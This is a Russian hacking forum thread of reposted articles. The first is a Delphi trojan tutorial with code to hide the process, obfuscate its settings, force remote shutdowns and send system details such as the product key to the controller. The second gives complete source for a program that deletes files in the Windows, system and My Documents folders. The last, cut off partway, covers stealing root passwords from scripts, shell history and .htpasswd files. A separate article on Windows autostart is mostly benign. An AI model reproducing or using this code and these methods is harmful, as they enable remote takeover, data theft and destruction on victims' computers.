тут будут розмещены статьи по теме хака, интересные, качаные с других сайтов...
статейки)
Сообщений 1 страница 20 из 22
Поделиться22007-12-04 14:59:35
теория написания троянов
Часть 1
В этой статье описана теория написания троянов(client/server) на Delphi, работающих по протоколу TCP/IP.
Для начала, я считаю, надо разработать протокол обмена. Вы должны выбрать между побайтовой или построковой работой. Я приведу пример построкового протокола обмена:
Где:
1. com. - команда
2. sig. - сигнатура
3. par. - параметр
4. [ ] - разделитель (разделителем может быть любой символ, который точно не встретится в самой команде или в параметре)
А вот пример реализации такого протокола обмена:
function _parser(str:string):tstringlist;
var
s : tstringlist;
i : integer;
st : integer;
sp : boolean;
begin
st := 0;
sp := true;
s := tstringlist.create;
s.add('');
for i := 1 to length(str) do
begin
if str[i] = '†' then
begin
if not sp then
begin
inc(st);
s.add('');
end;
sp := true;
end
else
begin
sp := false;
s.strings[st] := s.strings[st] + str[i];
end;
end;
if sp then s.delete(s.count-1);
result:=s;
end;
Эта функция делит переданную ей строчку на слова(разделителем здесь является символ †). Например, если функции передать: abc†1000†abc†abc, то в ответе мы получим tstringlist такого вида:
abc
1000
abc
abc
Таким образом при получении какой-либо строки мы передаем ее параметром в функцию _parser, а ответом функции будет трафик разобранный на части согласно данному протоколу обмена. Что означает первая часть протокола обмена(команда), думаю, не надо объяснять. Я считаю, что лучше не писать троянов, работающих по нескольким портам(одновременно). Из-за этого в данном протоколе обмена есть такая вещь, как сигнатура. Люди пишут трояны работающие на нескольких портах, чтобы распределить команды по какому-либо признаку. Например, первый порт - команды работы с файлами, второй порт - остальные команды. При помощи сигнатуры тоже можно разделить все команды на несколько типов. Например, сигнатуре 1 соответствует перечень команд работы с файлами, а сигнатуре 2 соответствует перечень других команд. Количество параметров для каждой команды может быть разным, можно даже сделать команды с переменным количеством параметров. Разделитель - это некий барьер отделяющий составляющие части протокола обмена.
После реализации протокола обмена можно сразу сделать троян невидимым для "постороннего взгляда". Есть много способов исполнения этой задачи. Приведу один из них, на мой взгляд, самый простой:
type
tregisterserviceprocess = function (dwprocessid,dwtype:dword) : dword;
stdcall;
А при создании формы пишем:
var
hndl : thandle;
registerserviceprocess : tregisterserviceprocess;
begin
hndl:=loadlibrary('KERNEL32.DLL');
registerserviceprocess:=getprocaddress(hndl,'RegisterServiceProcess');
registerserviceprocess(getcurrentprocessid,1);
freelibrary(hndl);
Да, и не забудьте в самом проекте указать:
application.showmainform:=false;
А вот механизм инсталляции в систему, если его написать слишком рано, может затруднить отладку трояна. Все значения, такие как: порт, пароль и т.п. должны быть в зашифрованном виде. Для этой цели советую не использовать очень сложные алгоритмы шифрования. Если кому-то понадобится эта информация, то он все равно ее получит. Можно использовать, например, такой алгоритм шифрования:
function crypt(str:string):string;
var
len : integer;
a : integer;
b : integer;
c : integer;
d : integer;
r : string;
begin
d := 13;
r := '';
len := length(str);
for a := 1 to len do
begin
b := ord(str[a]);
b := b - 32;
c := b xor d;
c := c + 32;
r := r + chr(c);
d := d + 1;
end;
result := r;
end;
Я могу расшифровать информацию, зашифрованную этим алгоритмом, в уме, но все равно для своей задачи он пригоден. Также можно использовать его и для шифрования трафика, но тогда придется чуть изменить схему трояна: сначала трафик передается функции crypt, а потом функции _parser.
После реализации протокола обмена и шифрования значений можно переходить к самому трояну. Я обычно пишу примерно по такой схеме:
Как видите, при запуске, троян становится невидимым, потом он инсталлируется в систему и переходит в состояние ожидания, но отдельно висит offline keylogger, который периодчески сохраняет свой буфер в укромное место. Кроме keylogger ещё ping модуль висит, всегда готовый ответить на запрос. При получении некоего трафика он проходит через _parser модуль, который ещё определяет есть ли это то, что надо, или это просто неправильный запрос не от клиента. Если пароль введен правильно, то последующий трафик сразу идет на командный модуль. Некоторые модули на схеме связаны не только с основным, но и командным модулем потому, что, например, модуль remote ping включается только через команду, а keylogger высылает записанные им клавиши тоже только при поступлении соответствующей команды.
На самом деле это упрощенная схема, сюда можно ещё много чего добавить, но это уже ваше дело. А теперь я хотел бы немного отойти от теории, и чуть-чуть приблизиться к практике. Вот примеры некоторых команд:
Это пример команды messagebox. Я не буду объяснять значение
всех переменных т.к. это всего лишь пример и здесь итак все понятно.
_com - команда
_data - ответ функции _parser
const
_line = #13+#10;
_icon : array [0..4] of integer=(0,mb_iconexclamation,
mb_iconinformation,mb_iconstop,mb_iconquestion);
############################################################
if _com = 2 then
begin
if _data.count = 6 then
if (strtoint(_data[5]) = 0) or
(strtoint(_data[5]) = 1) or
(strtoint(_data[5]) = 2) or
(strtoint(_data[5]) = 3) or
(strtoint(_data[5]) = 4) then
begin
if _data[2] = '1' then
begin
if messagebox(0,pchar(_data[3]),pchar(_data[4]),
mb_ok + _icon[strtoint(_data[5])]) <> 0 then
begin
socket.sendtext(_name+' : true {2,1,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : ok {2,1,'+_data[5]+'}'+_line);
end;
end;
if _data[2] = '2' then
begin
if messagebox(0,pchar(_data[3]),pchar(_data[4]),
mb_okcancel + _icon[strtoint(_data[5])]) = idok then
begin
socket.sendtext(_name+' : true {2,2,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : ok {2,2,'+_data[5]+'}'+_line);
end else
begin
socket.sendtext(_name+' : true {2,2,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : cancel {2,2,'+_data[5]+'}'+_line);
end;
end;
if _data[2] = '3' then
begin
if messagebox(0,pchar(_data[3]),pchar(_data[4]),
mb_yesno + _icon[strtoint(_data[5])]) = idyes then
begin
socket.sendtext(_name+' : true {2,3,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : yes {2,3,'+_data[5]+'}'+_line);
end else
begin
socket.sendtext(_name+' : true {2,3,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : no {2,3,'+_data[5]+'}'+_line);
end;
end;
if _data[2] = '4' then
begin
k := messagebox(0,pchar(_data[3]),pchar(_data[4]),
mb_abortretryignore + _icon[strtoint(_data[5])]);
if k = idabort then
begin
socket.sendtext(_name+' : true {2,4,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : abort {2,4,'+_data[5]+'}'+_line);
end else
if k = idretry then
begin
socket.sendtext(_name+' : true {2,4,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : retry {2,4,'+_data[5]+'}'+_line);
end else
if k = idignore then
begin
socket.sendtext(_name+' : true {2,4,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : ignore {2,4,'+_data[5]+'}'+_line);
end;
end;
if _data[2] = '5' then
begin
k := messagebox(0,pchar(_data[3]),pchar(_data[4]),
mb_yesnocancel + _icon[strtoint(_data[5])]);
if k = idyes then
begin
socket.sendtext(_name+' : true {2,5,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : yes {2,5,'+_data[5]+'}'+_line);
end else
if k = idno then
begin
socket.sendtext(_name+' : true {2,5,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : no {2,5,'+_data[5]+'}'+_line);
end else
if k = idcancel then
begin
socket.sendtext(_name+' : true {2,5,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : cancel {2,5,'+_data[5]+'}'+_line);
end;
end;
if _data[2] = '6' then
begin
if messagebox(0,pchar(_data[3]),pchar(_data[4]),
mb_retrycancel + _icon[strtoint(_data[5])]) = idretry then
begin
socket.sendtext(_name+' : true {2,6,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : retry {2,6,'+_data[5]+'}'+_line);
end else
begin
socket.sendtext(_name+' : true {2,6,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : cancel {2,6,'+_data[5]+'}'+_line);
end;
end;
exit;
end;
end;
Пример команды exitwindows:
if _com = 6 then
begin
if _data.count = 3 then
begin
if _data[2] = '1' then
begin
socket.sendtext(_name+' : true {6,1}'+_line);
exitwindows(ewx_force,1);
end else
if _data[2] = '2' then
begin
socket.sendtext(_name+' : true {6,2}'+_line);
exitwindows(ewx_logoff,1);
end else
if _data[2] = '3' then
begin
socket.sendtext(_name+' : true {6,3}'+_line);
exitwindows(ewx_poweroff,1);
end else
if _data[2] = '4' then
begin
socket.sendtext(_name+' : true {6,4}'+_line);
exitwindows(ewx_reboot,1);
end;
if _data[2] = '5' then
begin
socket.sendtext(_name+' : true {6,5}'+_line);
exitwindows(ewx_shutdown,1);
end;
exit;
end;
end;
Сбор некоторых сведений о системе:
if _com = 7 then
begin
if _data.count = 2 then
begin
_inf := tregistry.create;
_inf.rootkey:=hkey_local_machine;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('Version')
else
st := 'unknown';
socket.sendtext(_name+' : system : '+st+' {7}'+_line);
_inf.closekey;
if
_inf.openkey('hardware\description\system\centralprocessor\0',true)
= true then
st := _inf.readstring('vendoridentifier')
else
st := 'unknown';
socket.sendtext(_name+' : processor : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('config\0001\display\settings',true) = true then
st := _inf.readstring('resolution')
else
st := 'unknown';
socket.sendtext(_name+' : resolution : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('config\0001\display\settings',true) = true then
st := _inf.readstring('bitsperpixel')
else
st := 'unknown';
socket.sendtext(_name+' : bits per pixel : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('systemroot')
else
st := 'unknown';
socket.sendtext(_name+' : system root : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('productkey')
else
st := 'unknown';
socket.sendtext(_name+' : product key : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('productname')
else
st := 'unknown';
socket.sendtext(_name+' : product name : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('programfilespath')
else
st := 'unknown';
if st = '' then
begin
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('programfilesdir')
else
st := 'unknown';
end;
socket.sendtext(_name+' : programfiles path : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('registeredorganization')
else
st := 'unknown';
socket.sendtext(_name+' : registered organization : '+st+'
{7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('registeredowner')
else
st := 'unknown';
socket.sendtext(_name+' : registered owner : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('sm_accessoriesname')
else
st := 'unknown';
socket.sendtext(_name+' : accessories name : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('versionnumber')
else
st := 'unknown';
socket.sendtext(_name+' : version number : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('wallpaperdir')
else
st := 'unknown';
socket.sendtext(_name+' : wall paper dir : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('productid')
else
st := 'unknown';
socket.sendtext(_name+' : product id : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('otherdevicepath')
else
st := 'unknown';
socket.sendtext(_name+' : other device path : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('mediapath')
else
st := 'unknown';
socket.sendtext(_name+' : media path : '+st+' {7}'+_line);
_inf.closekey;
_inf.destroy;
exit;
end;
end;
Проставление приоритета своему процессу:
if _com = 14
then
begin
if _data.count = 2 then
begin
if pr = false then
begin
processid := getcurrentprocessid;
processhandle :=
openprocess(process_set_information,false,processid);
setpriorityclass(processhandle,realtime_priority_class);
threadhandle := getcurrentthread;
setthreadpriority(threadhandle,thread_priority_time_critical);
socket.sendtext(_name+' : true (on) {14}'+_line);
pr := true;
end
else
begin
processid := getcurrentprocessid;
processhandle :=
openprocess(process_set_information,false,processid);
setpriorityclass(processhandle,normal_priority_class);
threadhandle := getcurrentthread;
setthreadpriority(threadhandle,thread_priority_normal);
socket.sendtext(_name+' : true (off) {14}'+_line);
pr := false;
end;
exit;
end;
end;
Ну вот вроде и все. Спасибо за внимание.
Поделиться32007-12-11 17:59:01
статейка "mast die!" любезно представил нам Dragon-QC
must die!!!
Сегодня мы напишем простенькую программку на Делфи, убивающую операционную систему Windows (a.k.a. Must Die). Даже не просто убивающую, а удаляющую все файлы, лежащие в корне того диска, где стоит OC, папке "Мои Документы", директории Windows, системной директории Windows, папке \System32. Например если ты установил Мастдай в C:\Windows, то при запуске проги будут удалены все файлы (но не папки) из: C:\; C:\Windows, C:\Мои Документы, C:\Windows\System,
C:\Windows\System32.
Итак, приступим к делу. Project -> View Source. Здесь удаляем все лишнее, чтобы в результате получилось следующее:
program MDkiller;
uses
Windows, Sysutils;
begin
end.
Теперь Делфя готова к работе. )
Дополним это еще несколькими строками:
program MDkiller;
uses
Windows, Sysutils;
var { обьявление переменных}
S: Tsearchrec;
a1,a2,a3,a4,a5: string;
F: File;
p,p1: pchar;
begin
GetWindowsDirectory(p, max_path); {определяем директорию, где установлена Windows}
a1:= strpas(p) + '\'; {переводим возвращенный параметр из типа PChar в строковый тип и дополняем путь к директории Windows символом '\'}
a2:= a1[1]+ ':\'; {определяем диск, на котором установлена ОС}
a3:= a2 + 'Мои Документы\'; {определяем папку "Мои Документы"}
getsystemdirectory(p1,max_path); {определяем cистемную директорию}
a4:= strpas(p1) ; {переводим возвращенный параметр из типа PChar в строковый тип } a5:= a4 + '32\'; {определям \System32}
a6:= a4 + '\'; {дополняем путь к системной директории символом '\'}
end.
Разберемся, что мы сделали
Переменные S: Tsearchrec и F: File необходимы для последующей процедуры поиска файлов в заданных директориях. Остальные переменные типа string и pchar нужны для определения необходимых параметров и перевода их в понятный фугкциям FindFirst и FindNext язык. Для определения системной директории и директории Windows мы использовали функции WinAPI
GetWindowsDirectory и GetSystemDirectory. Пути к нужным директориям определены, осталось удалить из них файлы.
Для поиска и удаления воспользуемся функциями FindFirst и FindNext.
if FindFirst(a1 + '*.*',faanyfile,S) <> 0 then FindClose(S) else { если функция FindFirst
возвращает значение не ноль - завершить поиск, если ноль тогда продолжить}
repeat {продолжать} deletefile(a1 + S.name); {удаление найденного файла}
until {пока}
Findnext(S) <> 0; {не возвращено значение ноль}
FindClose(S);{тогда закончить поиск}
if FindFirst(a2 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a2 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a3 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a3 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a4 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a4 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a5 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a5 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
end.
Вот и все. Я откомментировал удаление файлов только из директории Windows, т.к. в других случаях происходит почти то же самое - поиск и удаление файлов до тех пор, пока не будет возвращено значение не ноль ( <>0), т.е. файлов в указанной директории больше нет. Замечу, что удаление файлов из папок, находящихся в заданных директориях, производиться не будет, т.к. это требует усложнения алгоритма поиска.Я написал прогу с использованием WinAPI и Sysutils, так ее размер составил 42КВ, а зажатая ASPack'ом она стала весить всего 26КВ. Если
не использовать Sysutils, а описать поиск файлов, используя FindFirstFile и FinfNextFile из WinAPI можно получить размер екзешника - 17 KB, сжатый ASPack'ом - 15KB!
ЗЫ: Я тестировал прогу на Windows 2000 Pro SP1. При работе под Win9x возможны ошибки, требующие небольшого изменения кода. Например на Win 98 SE при определении директории, в которую установлен Мастдай, прога выдает сообщение о ошибке и не работает. Но если перед GetWindowsDirectory() и GetSystemDirectory() написать p:='' и p1:='' соответственно, то все
запашет без проблем.
Полный листинг проги:
program MDkiller;
uses
Windows, Sysutils;
var
S: Tsearchrec;
a1,a2,a3,a4,a5,a6: string;
F: File;
p,p1: pchar;
begin
GetWindowsDirectory(p, max_path);
a1:= strpas(p) + '\';
a2:= a1[1]+ ':\';
a3:= a2 + 'Мои Документы\';
GetSystemDirectory(p1,max_path);
a4:= strpas(p1) ;
a5:= a4 + '32\';
a6:= a4 + '\';
if FindFirst(a1 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a1 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a2 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a2 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a3 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a3 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a4 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a4 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a5 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a5 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
end.
Поделиться42008-01-06 00:40:48
Автозагрузка в Windows XP
Какие способы автозагрузки существуют? Где найти список программ, загружаемых Windows автоматически? Как отключить списки автозагрузки? Этим темам и посвящена данная статья.
Существует немало способов автозагрузки программ. Ниже приведены несколько вариантов для ознакомления, возможно это поможет вам, если возникнет необходимость найти и удалить какую-либо программу из автозагрузки.
Способы автозагрузки и отключение списков автозагрузки:
Реестр - в реестре автозагрузка представлена в нескольких местах:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] - программы, которые запускаются при входе в систему. Данный раздел отвечает за запуск программ для всех пользователей системы.
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce] - программы, которые запускаются только один раз при входе пользователя в систему. После этого ключи программ автоматически удаляются из данного раздела реестра. Данный раздел отвечает за запуск программ для всех пользователей системы.
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx] - программы, которые запускаются только один раз, когда загружается система. Этот раздел используется при инсталляции программ, например для запуска настроечных модулей. После этого ключи программ автоматически удаляются из данного раздела реестра. Данный раздел отвечает за запуск программ для всех пользователей системы.
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] - программы, которые запускаются при входе текущего пользователя в систему
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce] - программы, которые запускаются только один раз при входе текущего пользователя в систему. После этого ключи программ автоматически удаляются из данного раздела реестра.
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices] - программы, которые загружаются при старте системы до входа пользователя в Windows.
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce] - программы отсюда загружаются только один раз, когда загружается система.
Например, чтобы автоматически запускать Блокнот при входе текущего пользователя, открываем Редактор реестра (regedit.exe), переходим в раздел [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] и добавляем следующий ключ:
"NOTEPAD.EXE"="C:\WINDOWS\\System32\notepad.exe"
Использование групповой политики для автозапуска: - Откройте оснастку "Групповая политика" (gpedit.msc), перейдите на вкладку "Конфигурация компьютера - Административные шаблоны - Система". В правой части оснастки перейдите на пункт "Запускать указанные программы при входе в систему". По умолчанию эта политика не задана, но вы можете добавить туда программу: включаем политику, нажимаем кнопку "Показать - Добавить", указываем путь к программе, при этом если запускаемая программа находится в папке ..WINDOWS\System32\ то можно указать только название программы, иначе придется указать полный путь к программе. При этом в системном реестре в разделе [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies] создается подраздел \Explorer\Run с ключами добавленных программ. Пример:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run]
"1"="notepad.exe"
"2"="iexplore.exe"
В итоге получаем запуск Блокнота и Internet Explorer для всех пользователей. Аналогично задается автозапуск для текущих пользователей, в оснастке "Групповая политика" это путь "Конфигурация пользователя - Административные шаблоны - Система", а в реестре раздел
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run]
При этом программы из этого списка не отображаются в списке программ доступных для отключения в msconfig.exe, а также определяются не всеми менеджерами автозагрузки.
Автозапуск из особого списка - Программы могут запускаться и из следующего раздела реестра:
[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows]
Параметры:
"load"="programma" - программы запускаемые до входа пользователя в систему:
"run"="programma" - программы запускаемые после входа пользователя в систему.
Эти параметры - аналог автозагрузки из Win.ini в Windows 9х. Пример: запускаем Internet Explorer до входа пользователя в систему и Блокнот после входа пользователя в систему:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows]
"load"="iexplore.exe"
"run"="notepad.exe"
Не обрабатывать список автозапуска для старых версий - Настраивается с помощью групповой политики: "Конфигурация компьютера - Административные шаблоны - Система - Не обрабатывать список автозапуска для старых версий", если эту политику включить, то не будут запускаться программы из следующих разделов реестра:
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
При использовании этой политики в реестре создается следующий ключ:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer]
"DisableLocalMachineRun"=dword:00000001
Аналогично устанавливается политика для текущих пользователей: "Конфигурация пользователя - Административные шаблоны - Система - Не обрабатывать список автозапуска для старых версий" с тем отличием что в реестре эта опция включается в ином месте:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"DisableLocalUserRun"=dword:00000001
Игнорировать списки автозагрузки программ выполняемых однажды - Настраивается с помощью групповой политики: "Конфигурация компьютера - Административные шаблоны - Система - Не обрабатывать список автозапуска программ, выполняемых однажды", если эту политику включить, то не будут запускаться программы запускаемые из списка
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
Если эта политика включена, в реестре создается следующий ключ:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer]
"DisableLocalMachineRunOnce"=dword:00000001
Так же настраивается политика для текущих пользователей: "Конфигурация пользователя - Административные шаблоны - Система - Не обрабатывать список автозапуска программ, выполняемых однажды" Параметры реестра:
[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer]
"DisableLocalUserRunOnce"=dword:00000001
Назначенные задания - программы могут запускаться с помощью "Мастера планирования заданий". Посмотреть список установленных заданий, а также добавить новое можно так: "Пуск - Все программы - Стандартные - Служебные - Назначенные задания" - при этом откроется папка ..\WINDOWS\Tasks, в которой отображены назначенные задания. Чтобы добавить новое задание, нужно дважды щелкнуть левой кнопкой мыши по значку "Добавить задание". Запуск программ с помощью этого мастера возможен однократно, при входе в Windows, при включении компьютера, а также по расписанию.
Папка "Автозагрузка" - это папка, в которой хранятся ярлыки для программ запускаемых после входа пользователя в систему. Ярлыки в эту папку могут добавляться программами при их установке или пользователем самостоятельно. Существует две папки - общая для всех пользователей и индивидуальная для текущего пользователя. По умолчанию эти папки находятся здесь:
..\Documents and Settings\All Users\Главное меню\Программы\Автозагрузка - это папка, программы из которой будут запускаться для всех пользователей компьютера.
..\Documents and Settings\Username\Главное меню\Программы\Автозагрузка - это папка, программы из которой будут запускаться для текущего пользователя (здесь он назван Username).
Посмотреть какие программы у вас запускаются таким способом можно открыв меню "Пуск - Все программы - Автозагрузка". Если вы создадите в этой папке ярлык для какой-нибудь программы, она будет запускаться автоматически после входа пользователя в систему. Если при входе пользователя в систему удерживать нажатой клавишу "Shift", то программы из папок "Автозагрузка" запускаться не будут.
Смена папки автозагрузки - Windows считывает данные о пути к папке "Автозагрузка" из реестра. Этот путь прописан в следующих разделах:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders]
"Common Startup"="%ALLUSERSPROFILE%\Главное меню\Программы\Автозагрузка" - для всех пользователей системы.[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders]
"Startup"="%USERPROFILE%\Главное меню\Программы\Автозагрузка" - для текущего пользователя.
Сменив путь к папке мы получим автозагрузку всех программ из указанной папки. Например:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders]
"Startup"="c:\mystartup" - система загрузит все программы, ярлыки которых находятся в папке c:\mystartup\, при этом папка "Автозагрузка" все так же будет отображаться в меню "Пуск", а если у пользователя в ней ничего не было, то он и не заметит подмены.
Подмена ярлыка для программы из списка автозагрузки - допустим у вас установлен русскоязычный пакет Microsoft Office. Тогда в папке "Автозагрузка" у вас будет находиться ярлык "Быстрый запуск Microsoft Office" - этот ярлык устанавливается туда по умолчанию. Но вовсе необязательно этот ярлык ссылается именно на "Быстрый запуск Microsoft Office" - вместо него может быть запущена любая другая программа, тем более что на функциональности Office это не скажется.
Добавление программы к программе запускаемой из списка автозагрузки - модификация предыдущего варианта - одновременно с загрузкой какой-либо программы из списка автозагрузки у вас будет стартовать другая программа - дело в том, что можно "склеить" два исполняемых файла в один и они будут запускаться одновременно. Существуют программы для такой "склейки". Или ярлык может ссылаться на командный файл, из которого и будут запускаться как оригинальная программа из списка, так и добавленные посторонние программы.
Посмотреть список автоматически загружаемых программ можно открыв программу "Сведения о системе" (откройте "Пуск - Все программы - Стандартные - Служебные - Сведения о системе" или наберите msinfo32.exe в командной строке) и перейдя в пункт "Программная среда - Автоматически загружаемые программы". Программа "Свойства системы" отображает группы автозагрузки из реестра и папок "Автозагрузка".
Другая программа, позволяющая посмотреть список программ автозагрузки - "Настройка системы" (для запуска наберите msconfig.exe из командной строки). Эта программа кроме просмотра списка автозагрузки предоставляет возможность отключения всех пунктов автозагрузки (вкладка "Общие") или выборочных программ (вкладка "Автозагрузка").
Существует множество менеджеров автозагрузки от сторонних разработчиков. Один из таких менеджеров - Startup Extractor. Он автоматически сканирует папки автозагрузки, системный реестр, и отображает все найденные программы и файлы в виде списка. Если какая-то программа будет добавлена в список автозагрузки, Startup Extractor сообщит вам об этом и предложит либо оставить эту программу в списке либо удалить ее. При удалении программы из списка Starup Extractor может восстановить ее. Также вы сможете добавлять программы, редактировать параметры программ, сохранять список автозагрузки и многое другое. Программа имеет русский интерфейс, бесплатна, не требует установки.
Примечание : Приведенная информация приведена в справочных целях. Вся информация, приведенная выше, относится в первую очередь к опытным пользователям, способным восстановить систему после ошибочных изменений в реестре. Если вы не уверены, что в случае ошибочных действий сможете восстановить систему, не используйте приведенную информацию в практических целях, ошибочные действия при внесении изменений в реестр могут серьезно повредить систему и даже привести к переустановке системы. Начинающие пользователи для добавления программ в список автозагрузки должны использовать только папку "Автозагрузка" или "Мастер назначенных заданий".
Поделиться52008-01-19 14:55:42
Определение рутового пароля
Пожалуй, самая большая проблема в хаке – определение рутового пароля.
Даже когда хакер сломал систему каким-либо эксплойтом, достать пароль не так то просто. Но на каждую гайку найдется свой болт, поэтому позволь тебе раскрыть 10 универсальных способов дознания этой важной инфы . Нет, тебе даже не потребуется встречаться с админом и поить его пивом до бессознательного состояния (а точнее, до состояния, в котором он раскроет тебе важную информацию).
Все намного проще – существуют приемы, после применения которых, ты получишь root password. Естественно, все зависит от ситуации. Все они будут обговорены ниже.
1. Поиск в Perl/PHP-скриптах.
Очень действенный метод. Обычно админы из-за своей лени делают рутовый пароль на базу сходным с паролем в систему. А аккаунт к SQL можно найти... правильно! В PHP и Perl скриптах. Перед этим узнается путь к WWW-каталогу (простым парсингом httpd.conf), после перехода в этот каталог ищется необходимая информация. Следует лишь учитывать, что PHP-скрипты часто используют инклуд-файлы (*.inc) с переменными для MySQL, Perl-сценарии хранят все в одном главном файле. Проверить пароль можно командой mysql –uroot –pПАРОЛЬ. Затем сравни его с системным (через /bin/su).
Метод применяется при всех вариантах взлома.
2. Поиск в HISTORY-файлах.
Часто админы используют консольные программы, которым передают пароль прямо из командной строки. Это все записывается в history-файл под названием .bash_history (естественно, для других интерпретаторов название файла будет другим). Туда же может попасть инфа из-за ошибки админа в команде (я, например, видел то, как админ вместо “su” набрал “psu”, а затем свой пароль).
Существует другой файл истории. Он называется .mysql_history и находится также в домашнем каталоге пользователя. Там ты можешь найти команды смены пароля для SQL-доступа. Этот пароль, возможно, совпадет с рутовым.
Способ применим лишь когда имеется полный контроль над системой. Но случается такое, когда HISTORY-файлы имеют атрибут 644. Найти такие файлы (а затем прочитать) можно с помощью команды find / -perm 644 –name *_history.
3. Поиск в .htpasswd.
Когда в системе установлен Web-сервер, возможно обнаружить хеши-паролей в .htpasswd-файлах. Просто набери locate .htpasswd и ты увидишь список доступных файлов. Правда, файлы не будут прочитаны, когда у тебя лишь user-access, а на документе установлен атрибут, запрещающий read.
Расшифровать такие хеши можно программой John The Ripper. Не мне тебя учить этим заниматься, поэтому считаю, что данный метод тебе понятен.
4. Поиск в других файлах.
Встречаются сервера, где пароли указываются в файлах сторонних приложений. К примеру, я сталкивался с ситуацией, когда рутовый пароль лежал в файле socks5.password.
Внимание! Эти файлы могут оказаться недоступными для чтения. Поэтому, тут все зависит от ситуации...
5. Заметки на полях.
